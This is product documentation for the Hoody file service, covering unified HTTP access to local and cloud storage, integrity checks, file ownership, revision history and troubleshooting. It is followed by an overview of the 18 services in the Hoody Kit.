**Perfect for:** Daily file management, quick edits, browsing cloud storage, reviewing logs, editing config files—all without leaving the browser.

**Works on any device:** Phone, tablet, laptop—same interface everywhere.

### 2. Universal File Access via API

**One API for all your storage:**

```bash
# Container files URL: https://{project}-{container}-files.{server}.containers.hoody.icu

# Local container files
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/documents/report.pdf"

# Google Drive
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/files/Work/report.pdf?backend=backend_drive_abc"

# Amazon S3
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/files/backups/data.zip?backend=backend_s3_xyz"

# Dropbox
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/files/Photos/vacation.jpg?backend=backend_dropbox_123"
```

**Same URL pattern. Different storage. No complexity.**

### 3. Mount Once, Access Forever

**Connect storage providers once:**



**Response:**
```json
{
  "id": "backend_drive_abc123",
  "type": "drive"
}
```

**Now access all Drive files:**
```bash
# List Drive root
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/?backend=backend_drive_abc123&json"

# Download Drive file
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/Documents/report.pdf?backend=backend_drive_abc123" \
  --output report.pdf
```

**Mount persists across container restarts.** Connect once, use forever.

### 4. Multiple Response Formats

**Choose format for your use case:**


  
  
  ```bash
  # Interactive file browser
  open "https://{project}-{container}-files.{server}.containers.hoody.icu/documents/"
  ```
  
  Interactive file browser with visual navigation, search, sortable columns, and upload interface (if permitted).
  
    
    
    
  
  ```bash
  # Structured data
  curl "https://{project}-{container}-files.{server}.containers.hoody.icu/documents/?json"
  ```

```json
{
  "kind": "Index",
  "paths": [
    {
      "name": "report.pdf",
      "path_type": "File",
      "size": 524288,
      "mtime": 1699564800000
    }
  ]
}
```
  
  
  
  ```bash
  # Clean text for scripts
  curl "https://{project}-{container}-files.{server}.containers.hoody.icu/images/?simple"
  ```

```
photo1.jpg
photo2.jpg
vacation/
```

One item per line. Directories end with `/`.
  


### 5. Integrity Verification

**Ensure downloads are complete and uncorrupted:**

```bash
# Container files URL
FILES_URL="https://{project}-{container}-files.{server}.containers.hoody.icu"

# 1. Get expected hash
expected=$(curl -s "$FILES_URL/api/v1/files/large-file.bin?hash")

# 2. Download file
curl "$FILES_URL/api/v1/files/large-file.bin" -o large-file.bin

# 3. Verify
actual=$(sha256sum large-file.bin | awk '{print $1}')

if [ "$expected" = "$actual" ]; then
  echo "✓ Download verified"
else
  echo "✗ Download corrupted"
fi
```

**Critical for:**
- Production deployments
- Backup verification
- Large file transfers
- Compliance requirements

### 6. Advanced Features

**Archive preview without extraction:**
```bash
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/backup.tar.gz?preview"
# Lists contents without downloading full archive
```

**Base64 encoding for embedding:**
```bash
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/config.json?base64"
# Returns: eyJrZXkiOiJ2YWx1ZSJ9
```

**Custom content types:**
```bash
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/data.txt?content-type=text/csv"
# Forces download as CSV
```

**Quick directory download as zip:**
```bash
# Download entire directory as .zip archive
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/documents/?zip" \
  -o documents.zip

# Download remote directory from cloud storage
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/Work/?zip&backend=backend_drive" \
  -o work-files.zip
```

---

## Ownership of Created Files

The file service runs as `root` inside the container, but the files and folders it
creates are **owned by your container user (`user`), not root** — so the interactive
shell and your processes can read, edit, and delete everything the file manager makes.

This applies to every operation that creates a *new* inode — uploads, new folders
(`?mkdir`), `touch`, appends to a new file, archive extraction (every extracted entry),
copies, downloads (`?download_from`), and any parent directories created along the way.
**Existing files keep their owner**: overwriting, appending to, or moving an existing
file never changes who owns it.


By default new inodes are owned by `user`. When the service is started with
`--allow-chown`, a request may set a different owner with the `owner` query parameter
(`?owner=user`, `?owner=user:group`, or `?owner=uid:gid`) on create endpoints
(upload, `?append`, `?mkdir`/dir creation, `?copy_to`, `?move_to`, `?download_from`,
`?extract`). The requested owner must be one of the operator-configured
`--allowed-create-owners` (the default owner is always allowed) and can never be
`root` (uid/gid `0`) — those requests are rejected with `400`/`403`.


**Operator configuration** (CLI flags / env on the file service):

| Flag | Env | Default | Meaning |
|------|-----|---------|---------|
| `--default-create-owner <spec>` | `HOODY_FILE_MANAGER_DEFAULT_CREATE_OWNER` | `user` | Owner for newly-created inodes. `spec` is `user`, `user:group`, `uid`, `uid:gid`, or `none`/`off` to disable (inherit the process owner = root). |
| `--allowed-create-owners <csv>` | `HOODY_FILE_MANAGER_ALLOWED_CREATE_OWNERS` | *(empty)* | Owners a client `owner=` override may request (the default owner is always allowed). Resolved per request. |

Ownership is **fail-closed**: when the feature is active the service verifies it can
change ownership at startup, and if a per-operation ownership change unexpectedly fails
the request returns `500` and the partially-created file/dir is rolled back — a created
file is never silently left owned by root.

---

## Journal & File History

**Every mutation is recorded.** Every time a file is created, written, appended, deleted, moved, copied, or has its permissions changed, the journal captures it -- along with a content-addressable blob snapshot of the file at that moment. This means you can read any file as it existed at any past revision, at any point in time, or compute diffs between any two versions.

The journal is best-effort: file operations always succeed even if journaling encounters an error. But under normal conditions, every mutation is captured, giving you a complete audit trail of your container's filesystem.

### Browse File History

See every revision of a file:


  

  ```bash
  hoody files get src/app.ts --history --limit 50
  ```

  

  

  ```typescript
  import { HoodyClient } from '@hoody-ai/hoody-sdk';

  const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
  const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

  const history = await containerClient.files.get('src/app.ts', { history: '', limit: 50 });

  for (const rev of history.data.revisions) {
    console.log(`#${rev.seq} [${rev.op}] ${rev.ts}`);
  }
  ```

  

  

  ```bash
  curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/files/src/app.ts?history&limit=50"
  ```

  


### Read at a Past Revision or Timestamp

Retrieve the exact content of a file at any point in its history:


  

  ```bash
  # By revision number
  hoody files get src/app.ts --revision 3

  # By timestamp
  hoody files get src/app.ts --at "2026-03-19T14:30:00Z"
  ```

  

  

  ```typescript
  // By revision
  const v3 = await containerClient.files.get('src/app.ts', { revision: 3 });

  // By timestamp
  const yesterday = await containerClient.files.get('src/app.ts', { at: '2026-03-19T14:30:00Z' });
  ```

  

  

  ```bash
  # By revision
  curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/files/src/app.ts?revision=3"

  # By timestamp
  curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/files/src/app.ts?at=2026-03-19T14:30:00Z"
  ```

  


### Diff Between Versions

Compute a unified diff between any two versions of a file:


  

  ```bash
  hoody files get src/app.ts --diff --from-seq 1 --to-seq 3
  ```

  

  

  ```typescript
  const diff = await containerClient.files.get('src/app.ts', { diff: '', from_seq: 1, to_seq: 3 });
  console.log(diff);
  ```

  

  

  ```bash
  curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/files/src/app.ts?diff&from_seq=1&to_seq=3"
  ```

  


### Query the Journal & View Stats

Search across all mutations in your container and monitor journal health:


  

  ```bash
  # Query recent writes under src/
  hoody files journal query --path src/ --op write --limit 20

  # View journal storage statistics
  hoody files journal stats
  ```

  

  

  ```typescript
  // Query journal entries
  const entries = await containerClient.files.journal.query({ path: 'src/', op: 'write', limit: 20 });

  // Get journal stats
  const stats = await containerClient.files.journal.getStats();
  console.log(`${stats.data.total_entries} entries, ${stats.data.total_blobs} blobs`);
  ```

  

  

  ```bash
  # Query journal
  curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/journal?path=src/&op=write&limit=20"

  # Journal stats
  curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/journal/stats"
  ```

  



For complete API reference with all parameters, response schemas, and pagination details, see **[File Journal & History API Reference](/api/files/journal/)**.


---

## Why This Changes Everything

### Traditional File Access

```
Different tools for different storage:
- AWS CLI for S3
- Google Drive SDK  
- Dropbox API
- SFTP client
- WebDAV client

Each with different authentication, different SDKs, different patterns.
```

**Problems:**
- Multiple tools to learn
- Different APIs per provider
- Complex authentication flows
- No unified interface
- AI can't easily access (provider-specific SDKs)

### Hoody Files

```
One HTTP API for everything:
https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/files/{path}?backend={provider}
```

**Advantages:**
- ✅ One interface for 60+ providers
- ✅ Consistent authentication (mount once)
- ✅ Same HTTP patterns everywhere
- ✅ AI-native (standard HTTP requests)
- ✅ Observable (all file access logged)
- ✅ Embeddable (file browsers in iframes)
- ✅ Script-friendly (simple text format)

### Files Accessible from Anywhere

**Your phone can now access:**

```javascript
// From mobile browser
await fetch('https://{project}-{container}-files.{server}.containers.hoody.icu/documents/contract.pdf?backend=backend_drive')
  .then(r => r.blob())
  .then(blob => {
    // View PDF on phone
  });
```

**No Google Drive app needed.** No Dropbox app. No S3 client. Just HTTP.

---

## Common Workflows

### Multi-Cloud Access

**Access files from multiple providers simultaneously:**

```javascript
// List all mounted backends
const filesUrl = 'https://{project}-{container}-files.{server}.containers.hoody.icu';

const backends = await fetch(filesUrl + '/api/v1/backends').then(r => r.json());

// Access files from each
for (const backend of backends.backends) {
  const files = await fetch(filesUrl + `/?backend=${backend.id}&json`)
    .then(r => r.json());
  
  console.log(`${backend.type}: ${files.paths.length} files`);
}
```

### Verified Downloads

**Production-grade file downloads:**

```javascript
async function verifiedDownload(path, backend) {
  // 1. Get expected hash
  const hashResponse = await fetch(
    `/api/v1/files${path}?backend=${backend}&hash`
  );
  const expectedHash = await hashResponse.text();
  
  // 2. Download file
  const fileResponse = await fetch(
    `/api/v1/files${path}?backend=${backend}`
  );
  const blob = await fileResponse.blob();
  
  // 3. Verify hash (browser)
  const arrayBuffer = await blob.arrayBuffer();
  const hashBuffer = await crypto.subtle.digest('SHA-256', arrayBuffer);
  const actualHash = Array.from(new Uint8Array(hashBuffer))
    .map(b => b.toString(16).padStart(2, '0'))
    .join('');
  
  if (actualHash === expectedHash) {
    console.log('✓ Download verified');
    return blob;
  } else {
    throw new Error('Download corrupted - hash mismatch');
  }
}
```

### Backup Verification

**Ensure all local files exist in cloud backup:**

```python
import requests

files_url = 'https://{project}-{container}-files.{server}.containers.hoody.icu'

def verify_backup(local_path, backup_backend):
    # Get local listing
    local = requests.get(f'{files_url}{local_path}?json').json()
    
    # Get backup listing
    backup = requests.get(
        f'{files_url}/api/v1/files{local_path}',
        params={'backend': backup_backend, 'json': ''}
    ).json()
    
    local_files = {p['name']: p['size'] for p in local['paths'] if p['path_type'] == 'File'}
    backup_files = {p['name']: p['size'] for p in backup['paths'] if p['path_type'] == 'File'}
    
    missing = set(local_files.keys()) - set(backup_files.keys())
    size_mismatch = [
        name for name in local_files
        if name in backup_files and local_files[name] != backup_files[name]
    ]
    
    if not missing and not size_mismatch:
        print(f'✓ Backup complete: {len(local_files)} files verified')
    else:
        print(f'✗ Missing {len(missing)} files, {len(size_mismatch)} size mismatches')
```

### AI File Analysis

**AI accesses files via HTTP:**

```javascript
// AI agent reads code file
const filesUrl = 'https://{project}-{container}-files.{server}.containers.hoody.icu';

const code = await fetch(
  filesUrl + '/app/main.js?backend=backend_drive'
).then(r => r.text());

// AI analyzes
const analysis = await openai.chat.completions.create({
  model: 'gpt-4',
  messages: [{
    role: 'user',
    content: `Review this code:\n\n${code}`
  }]
});

// AI can directly access your files from cloud storage
// No downloading to local machine needed
```

### Directory Synchronization

**Compare local vs remote, sync differences:**

```bash
#!/bin/bash

FILES_URL="https://{project}-{container}-files.{server}.containers.hoody.icu"

# Get local directory
local=$(curl -s "$FILES_URL/documents/?json")

# Get remote directory
remote=$(curl -s "$FILES_URL/api/v1/files/documents/?backend=backend_s3&json")

# Compare and download missing files
echo "$remote" | jq -r '.paths[] | select(.path_type == "File") | .name' | \
while read filename; do
  if ! echo "$local" | jq -e ".paths[] | select(.name == \"$filename\")" > /dev/null; then
    echo "Downloading: $filename"
    curl "$FILES_URL/documents/$filename?backend=backend_s3" \
      -o "documents/$filename"
  fi
done
```

---

## Use Cases

### Unified Cloud Access

**Stop installing provider-specific tools:**

```bash
# Traditional: Different CLI for each provider
aws s3 cp s3://bucket/file.pdf ./          # AWS CLI
gcloud storage cp gs://bucket/file.pdf ./  # Google CLI  
az storage blob download ...               # Azure CLI
rclone copy dropbox:file.pdf ./            # Rclone

# Hoody: One HTTP interface
FILES_URL="https://{project}-{container}-files.{server}.containers.hoody.icu"

curl "$FILES_URL/file.pdf?backend=backend_s3" -o file.pdf
curl "$FILES_URL/file.pdf?backend=backend_gcs" -o file.pdf
curl "$FILES_URL/file.pdf?backend=backend_azure" -o file.pdf
curl "$FILES_URL/file.pdf?backend=backend_dropbox" -o file.pdf
```

### Mobile File Access

**Your phone accesses ALL your storage:**

```javascript
// Phone browser
const filesUrl = 'https://{project}-{container}-files.{server}.containers.hoody.icu';

const file = await fetch(
  filesUrl + '/documents/contract.pdf?backend=backend_drive'
);
const blob = await file.blob();

// View PDF directly in mobile browser
// No app installation needed
```

**Access Google Drive, S3, Dropbox—all from mobile browser.** Because files are HTTP.

### Documentation with Live Files

**Embed file browsers in docs:**

```html
<!-- Live file browser in documentation -->
<iframe src="https://demo-files.hoody.icu/examples/?backend=backend_demo&readonly=true" 
        height="400" />
```

Users see actual files, not just descriptions.

### Backup Automation

**Verify backups via HTTP:**

```bash
#!/bin/bash
# Nightly backup verification
FILES_URL="https://{project}-{container}-files.{server}.containers.hoody.icu"

for file in $(curl -s "$FILES_URL/critical/?simple"); do
  # Get hash from local
  local_hash=$(curl -s "$FILES_URL/critical/$file?hash")
  
  # Get hash from S3 backup
  backup_hash=$(curl -s "$FILES_URL/api/v1/files/critical/$file?backend=backend_s3&hash")
  
  if [ "$local_hash" != "$backup_hash" ]; then
    echo "⚠️ Backup mismatch: $file"
    # Re-upload to S3 via other tools or trigger alert
  fi
done
```

### AI-Powered File Management

**AI organizes your files:**

```javascript
const filesUrl = 'https://{project}-{container}-files.{server}.containers.hoody.icu';

// AI agent lists files
const files = await fetch(filesUrl + '/?backend=backend_drive&json')
  .then(r => r.json());

// AI analyzes and categorizes
for (const file of files.paths) {
  if (file.path_type === 'File') {
    const content = await fetch(
      filesUrl + `/${file.name}?backend=backend_drive`
    ).then(r => r.text());
    
    // AI determines category
    const category = await ai.categorize(content);
    
    // AI can move files, create folders, organize automatically
  }
}
```

### Cross-Provider File Migration

**Move files between cloud providers:**

```javascript
// Read from Google Drive
const file = await fetch(
  '/api/v1/files/document.pdf?backend=backend_drive'
).then(r => r.blob());

// Upload to S3 (via other tools/APIs)
// Or use hoody-files to bridge providers
```

---

## Best Practices

### Mount All Storage Once

**Connect all providers at container creation:**

```javascript
const providers = [
  { type: 'drive', credentials: googleCreds },
  { type: 's3', credentials: awsCreds },
  { type: 'dropbox', credentials: dropboxCreds }
];

for (const provider of providers) {
  await fetch(`/api/v1/backends/${provider.type}`, {
    method: 'POST',
    body: JSON.stringify(provider.credentials)
  });
}

// Now all storage accessible through one interface
```

### Always Verify Critical Downloads

**For production data, system backups, or compliance:**

```bash
hash=$(curl -s "$URL?hash")
curl "$URL" -o file
echo "$hash  file" | sha256sum -c
```

### Use Appropriate Format

**Match format to use case:**

- **HTML** - Interactive browsing in browser
- **JSON** - API integration, processing
- **Simple** - Shell scripts, piping to other commands

### Cache Directory Listings

**Listings change infrequently:**

```javascript
const cache = new Map();

async function getDirectory(path, backend, ttl = 60000) {
  const key = `${path}:${backend}`;
  const cached = cache.get(key);
  
  if (cached && Date.now() - cached.time < ttl) {
    return cached.data;
  }
  
  const data = await fetch(`${path}?backend=${backend}&json`)
    .then(r => r.json());
  
  cache.set(key, { data, time: Date.now() });
  return data;
}
```

### Test Connections Before Operations

**Verify backends are healthy:**

```bash
# Test connection
curl "https://{project}-{container}-files.{server}.containers.hoody.icu/api/v1/backends/{backend_id}/test"

# Check if successful before bulk operations
```

### Handle Provider Rate Limits

**Cloud providers throttle API calls:**

```javascript
// Add delays between requests
for (const file of files) {
  await downloadFile(file);
  await new Promise(r => setTimeout(r, 100)); // 100ms delay
}

// Or use Cache backend to reduce provider API calls
```

---

## Useful Questions

### How many cloud providers can I mount simultaneously?

Unlimited. Mount Google Drive, S3, Dropbox, OneDrive, Box, and 50+ others all in one container. Each gets a unique backend ID. Access files from any provider through the same HTTP interface.

### Do mounted backends persist across container restarts?

Yes! Backend configurations are stored in the container's filesystem. After restart, all previously mounted storage is automatically reconnected. No need to re-authenticate on every restart.

### Can I mount the same provider multiple times?

Yes! Mount different Google Drive accounts, different S3 buckets, or different Dropbox folders—each as a separate backend with unique ID. Perfect for multi-tenant scenarios or managing multiple client accounts.

### What's the performance difference between local and cloud files?

Local files: sub-millisecond access. Cloud files: 50-500ms depending on provider and distance. Use Cache backend to speed up frequently accessed remote files. Or sync important files locally.

### Can AI agents access my cloud storage?

Yes! AI makes standard HTTP requests to hoody-files endpoints. It can list directories, read files, verify hashes—all via HTTP. No provider-specific SDKs needed. AI understands HTTP natively.

### Does hoody-files support file uploads?

Yes, but limited to local container storage or specific backends that support writing. Most cloud providers require OAuth scopes for write access. Check backend documentation for write capabilities.

### How do I secure file access?

Use container proxy permissions to control who can access files. Configure IP whitelist, password auth, or JWT validation. Files are private by default through cryptographic container URLs.

### Can I access files from my phone?

Absolutely! Open the hoody-files URL in your mobile browser. HTML format gives you a visual file browser. JSON format works for custom mobile apps. Your phone can now access Google Drive, S3, local container files—all through one interface.

### What happens if backend credentials expire?

File operations return 401 Unauthorized. Re-authenticate the backend with fresh credentials using `POST /api/v1/backends/{type}` with same backend configuration. The backend ID remains the same.

---

## Troubleshooting

### Backend Connection Failed

**Problem:** Cannot mount storage provider

**Solutions:**

1. **Verify credentials are correct:**
   ```bash
   # Check OAuth tokens haven't expired
   # Verify API keys are valid
   # Ensure client_id/client_secret match
   ```

2. **Check network connectivity:**



3. **Review provider documentation:**
   - Google Drive requires OAuth with drive.readonly scope
   - S3 needs correct region and credentials
   - Dropbox tokens have app-specific permissions

### File Not Found (404)

**Problem:** File exists but getting 404 response

**Check:**

1. **Path is case-sensitive:**
   ```bash
   # ❌ Wrong: /Documents/file.pdf
   # ✅ Correct: /documents/file.pdf
   ```

2. **Verify file exists:**
   ```bash
   # List parent directory
   curl "https://{project}-{container}-files.{server}.containers.hoody.icu/documents/?json"
   ```

3. **Backend ID correct:**
   ```bash
   # List all backends
   GET /api/v1/backends
   # Use correct backend_id
   ```

### Hash Verification Fails

**Problem:** Downloaded file hash doesn't match expected

**Possible causes:**

1. **Incomplete download** - Re-download with resume support
2. **File modified during download** - Re-download to get latest
3. **Network corruption** - Use TCP retransmission, verify network
4. **Wrong hash algorithm** - Ensure using SHA256

**Solution:**
```bash
# Use curl resume support
curl -C - "$URL" -o file

# Verify again
echo "$expected_hash  file" | sha256sum -c
```

### Rate Limited (429)

**Problem:** Cloud provider returning too many requests error

**Solutions:**

1. **Add delays between requests:**
   ```javascript
   for (const file of files) {
     await fetch(fileUrl);
     await new Promise(r => setTimeout(r, 200)); // 200ms delay
   }
   ```

2. **Use Cache backend:**
   ```bash
   # Mount cache in front of provider
   POST /api/v1/backends/cache
   {
     "remote": "s3_backend:bucket",
     "chunk_size": "10M"
   }
   ```

3. **Batch operations when possible** - Download multiple files in one session

### Large File Download Fails

**Problem:** Timeout or incomplete download for large files

**Solutions:**

1. **Use curl with resume support:**
   ```bash
   curl -C - "https://{project}-{container}-files.{server}.containers.hoody.icu/large-file.bin" -o large-file.bin
   ```

2. **Check disk space before downloading:**
   ```bash
   size=$(curl -sI "$URL" | grep Content-Length | awk '{print $2}')
   available=$(df -P . | tail -1 | awk '{print $4}')
   # Ensure available > size before downloading
   ```

3. **Download in chunks if supported:**
   ```bash
   # Some backends support Range requests
   curl -r 0-104857600 "$URL" > part1  # First 100MB
   curl -r 104857601- "$URL" > part2   # Rest
   cat part1 part2 > complete-file
   ```

---

## What's Next

**Explore other data services:**


  
    Serverless databases via HTTP—query, KV store, time-travel, all through HTTP.
    
    [Explore SQLite →](./sqlite/)
  
  
  
    Transform scripts into HTTP endpoints—your code becomes an API automatically.
    
    [Explore Exec →](./exec/)
  
  
  
    Complex HTTP operations simplified—transform any REST API into a simple GET request.
    
    [Explore cURL →](./curl/)
  


**Master file operations:**
- **[Quick Start →](/api/files/quick-start/)** - Mount and access in minutes
- **[Reading Files →](/api/files/reading/)** - Stream content via HTTP
- **[Downloading →](/api/files/downloading/)** - Progress tracking and verification
- **[Mounting Storage →](/api/files/mount/cloud/)** - Connect 60+ providers

---

> **Every file is a URL.**  
> **Local and cloud unified.**  
> **Access from anywhere.**  
> **One HTTP interface for everything.**

**This is how files work in the HTTP era.**

---

# The Hoody Kit: Your HTTP Toolbox

**Page:** kit/index

[Download Raw Markdown](./kit/index.md)

---

<style is:global>{`
  /* Kit service cards - product showcase styling */
  
  /* Target ALL CardGrid instances on this page */
  div[class*="card-grid"] a[class*="card"] {
    display: flex !important;
    flex-direction: column !important;
  }
  
  /* Hide the small duplicate icon, only show the emoji icons */
  div[class*="card-grid"] a[class*="card"] svg.icon {
    display: none !important;
  }
  
  /* Make emoji icons 64x64 and remove any borders */
  div[class*="card-grid"] svg {
    width: 64px !important;
    height: 64px !important;
    min-width: 64px !important;
    min-height: 64px !important;
    border: none !important;
    outline: none !important;
    box-shadow: none !important;
  }
  
  /* Center the icon and title section */
  div[class*="card-grid"] a[class*="card"] span:has(svg),
  div[class*="card-grid"] a[class*="card"] > span:first-child {
    display: flex !important;
    flex-direction: column !important;
    align-items: center !important;
    gap: 1rem !important;
    margin-bottom: 0.5rem !important;
  }
  
  /* Center title text */
  div[class*="card-grid"] span[class*="title"],
  div[class*="card-grid"] a[class*="card"] > span:first-child {
    text-align: center !important;
    justify-content: center !important;
  }
  
  /* Keep card body left-aligned */
  div[class*="card-grid"] p,
  div[class*="card-grid"] ul {
    text-align: left !important;
  }
`}</style>

# The Hoody Kit: Your HTTP Toolbox

**Every Hoody container includes 18 HTTP services** — your complete toolkit for building, deploying, and operating software. No installation. No configuration. Just instant HTTP access to everything you need.

**The revolutionary part:** Each service is a URL. Open it in a browser. Use it from your phone. Embed it in an iframe. Share it with a teammate. Control it via AI. Access it all through **Hoody OS** — a floating-window web-based operating system that lives inside each of your containers — or type `ssh hoody.com` for the same OS in your terminal. **Everything is accessible because everything is HTTP.**



---

## Infinite Possibilities Through Composition

**These 18 services unlock unlimited potential—not through rigid feature sets, but through creative combination.**

Each service is designed to be **complete on its own** while **composing naturally with others**:

- **Terminals** can execute any command—but pair with **Displays** and GUI apps appear instantly
- **Files** can access any storage—but integrate with **SQLite** for indexed metadata or **Exec** for automated processing
- **Agent** can orchestrate workflows—but give it **Terminal** access and it controls your entire infrastructure
- **Browser** can automate web tasks—but combine with **cURL** for API integration and **SQLite** for result storage

**The pattern:** One service enables the task. Two services multiply capability. Three or more services create workflows impossible on traditional platforms.

**You're not limited to "supported features."** With HTTP as the universal interface, every service can talk to every other service. Build workflows we never imagined—because the tools compose infinitely through HTTP.

**This is intentional.** Each service is a primitive. Your creativity determines what they become.

---

## What You Get in Every Container

When you spawn a container with `hoody_kit: true`, you immediately get URLs for all 18 services:

```
https://PROJECT-CONTAINER-terminal-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-display-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-files-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-sqlite-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-browser-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-workspaces-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-code-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-curl-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-n-1.SERVER.containers.hoody.icu        # Notifications
https://PROJECT-CONTAINER-daemon-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-cron-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-pipe-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-notes-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-watch-1.SERVER.containers.hoody.icu
https://PROJECT-CONTAINER-run-1.SERVER.containers.hoody.icu     # Run
https://PROJECT-CONTAINER-logs-1.SERVER.containers.hoody.icu    # Proxy Logs
https://PROJECT-CONTAINER-tunnel-1.SERVER.containers.hoody.icu
```

**No setup. No installation. Already running. Just use the URLs.**

---

## 🤖 MCP Client Integration

Hoody Agent includes a production-ready **Model Context Protocol (MCP)** client that connects to external MCP servers, dynamically discovering their tools at runtime.

- **Dynamic Tool Discovery**: The number of available tools depends on which MCP servers you connect — there is no fixed list.
- **Local & Remote Servers**: Supports local MCP servers (via stdio) and remote MCP servers (via StreamableHTTP/SSE).
- **OAuth Authentication**: Full OAuth flow for authenticated remote MCP servers.
- **Safety First**: Destructive operations require confirmation.

---

## The 18 HTTP Services





**Your floating operating system**—manage all containers, projects, and services from one browser interface.

**Key Capabilities:**
- Unified dashboard for all containers
- Drag-and-drop workspace layouts
- Embed multiple containers in one view
- Share entire workspace with a URL
- Access from any device

**Perfect for:** Project management, monitoring, client presentations

[Learn More →](/kit/workspaces/)





**Execute shell commands via HTTP**—your Linux terminal as a web service, accessible from anywhere.

**Key Capabilities:**
- Web terminal UI in browser
- HTTP command execution API
- Multiple terminal instances per container
- Session state persistence (cwd, env, history)
- SSH to remote servers (no client needed)
- Launch GUI apps instantly

**Perfect for:** Command execution, automation, remote server management, AI agent control

[Learn More →](/kit/terminals/) • [API Reference →](/api/terminal/sessions/)





**Remote desktop via HTTP**—run graphical applications and see them in your browser. Zero configuration.

**Key Capabilities:**
- Full Linux desktop in browser
- Multiple display instances (one app per display)
- Auto-mapping with terminals (terminal-5 → display-5)
- Session sharing for multiplayer
- Screenshot API

**Perfect for:** Visual development tools, GUI applications, browser automation, design software

[Learn More →](/kit/displays/) • [API Reference →](/api/displays/web-client/)





**Unified file access via HTTP**—read, download, and manage files across local storage and 60+ cloud providers.

**Key Capabilities:**
- Web File Manager UI
- HTTP file streaming
- 60+ cloud storage integrations
- File integrity verification (hashes)
- Shared Storage cross-container access

**Perfect for:** Cloud aggregation, download verification, cross-container file sharing

[Learn More →](/kit/files/) • [API Reference →](/api/files/)





**Database via HTTP**—SQLite queries and KV store accessible through HTTP endpoints.

**Key Capabilities:**
- Web Database UI
- SQL operations via HTTP
- KV store with time-travel
- SQLite Drive for multi-container access
- Atomic operations and batch updates

**Perfect for:** Configuration management, feature flags, session storage, shared state

[Learn More →](/kit/sqlite/) • [API Reference →](/api/sqlite/sql-operations/)





**Execute any script via HTTP**—turn code into instant API endpoints with dependency management and AI generation.

**Key Capabilities:**
- Run TypeScript/JavaScript/Python/Bash via HTTP
- Automatic dependency installation
- AI-powered script generation
- MITM capabilities (intercept/modify services)
- Built-in logging and monitoring

**Perfect for:** API endpoints, webhooks, automation, service customization

[Learn More →](/kit/exec/) • [API Reference →](/api/exec/script-execution/)





**HTTP requests as a service**—make web requests from your container with scheduling, sessions, and storage.

**Key Capabilities:**
- **Wrap POST into GET** - Turn any POST request into a GET URL (infinite workflows, zero constraints)
- Execute HTTP requests via API
- Request scheduling (cron-like)
- Session management (cookies, headers)
- Response storage and history

**Perfect for:** API integrations, web scraping, scheduled tasks, workflow automation

[Learn More →](/kit/curl/) • [API Reference →](/api/curl/execution/)





**Chrome automation via HTTP**—control Chromium instances through REST API for testing and automation.

**Key Capabilities:**
- Browser instance management
- Page interaction (click, type, scroll)
- Screenshot capture
- Network interception
- Health monitoring

**Perfect for:** Web scraping, automated testing, screenshot services

[Learn More →](/kit/browser/) • [API Reference →](/api/browser/instance-management/)





**Process management via HTTP**—manage long-running background services through HTTP API.

**Key Capabilities:**
- Daemon lifecycle control (start/stop/restart)
- Process monitoring and health checks
- Log aggregation
- Auto-restart on failure
- Resource usage tracking

**Perfect for:** Background services, worker processes, monitoring daemons

[Learn More →](/kit/daemons/) • [API Reference →](/api/daemon/management/)





**Managed cron jobs via HTTP**—create, update, enable/disable, and auto-expire scheduled tasks through a REST API.

**Key Capabilities:**
- Managed entries with UUID, metadata, and comments
- Enable/disable without deletion
- Auto-expiration with background cleanup
- Per-user crontab management
- Raw crontab read/write for full control
- Standard 5-field cron + macros (@hourly, @daily, etc.)

**Perfect for:** Scheduled backups, periodic data processing, maintenance tasks, temporary monitoring

[Learn More →](/kit/cron/) • [API Reference →](/api/cron/)





**Push notifications via HTTP**—trigger desktop/mobile notifications through HTTP endpoints.

**Key Capabilities:**
- Desktop push notifications
- Custom icons and sounds
- Notification history
- WebSocket streaming
- Toast/banner/alert styles

**Perfect for:** Build alerts, monitoring notifications, user engagement

[Learn More →](/kit/notifications/) • [API Reference →](/api/kit/notification-server/)





**VS Code in browser via HTTP**—full-featured code editor accessible through web URL.

**Key Capabilities:**
- Complete VS Code experience
- Extensions and themes
- Terminal integration
- Multi-instance support
- Health monitoring

**Perfect for:** Web-based development, collaborative coding, mobile development

[Learn More →](/kit/code/) • [API Reference →](/api/code/)





**Streaming data transfer over HTTP**—named pipes over the internet. Send to a path, receive from the same path, data flows through in real-time.

**Key Capabilities:**
- Real-time streaming (not store-and-forward)
- Multi-receiver fan-out (up to 256 receivers)
- Built-in video player for screen sharing
- Progress spectating via SSE
- Multipart uploads from browser
- Binary-clean transport — bring your own encryption (e.g. `openssl enc | curl -T -`) for end-to-end secrecy

**Perfect for:** Screen sharing, file transfers, live data piping, event forwarding, multiplayer collaboration

[Learn More →](/kit/pipe/)





